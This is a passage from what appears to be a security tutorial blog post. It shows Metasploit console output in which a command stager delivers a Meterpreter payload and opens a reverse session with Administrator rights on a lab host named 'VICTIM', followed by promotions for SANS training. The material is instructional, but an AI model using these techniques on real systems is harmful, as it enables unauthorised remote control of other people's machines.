[*] Starting the payload handler...
[*] Command Stager progress – 3.16% done (1694/53583 bytes)
[*] Command Stager progress – 6.32% done (3388/53583 bytes)
truncated
[*] Command Stager progress – 97.99% done (52506/53583 bytes)
[*] Sending stage (748032 bytes) to 192.168.100.17
[*] Command Stager progress – 100.00% done (53583/53583 bytes)
msf exploit(handler) > [*] Meterpreter session 2 opened (192.168.100.6:4444 -> 192.168.100.17:1032)

msf exploit(handler) > sessions -l

Active sessions
==========

Id Type Information Connection
— —- ——— ———-
1 shell 192.168.100.6:56131 -> 192.168.100.17:4444
2 meterpreter VICTIMAdministrator @ VICTIM 192.168.100.6:4444 -> 192.168.100.17:1032

msf exploit(handler) >

Now that you've got a meterpreter session type "RUN [tab] [tab] " to look at all the meterpreter script goodness at your disposal! Still confused? Here is a video demo:

Using Metasploit to Control Netcat from PaulDotCom on Vimeo.

Mark Baggett is teaching SANS 504 in Raleigh NC June 21st -26th. SIGN UP TODAY!!

Also, SANS is sponsoring a Lunch and Learn COINS event in Raleigh on May 5th where I will do a presentation on the Metasploit framework. Watch your inbox for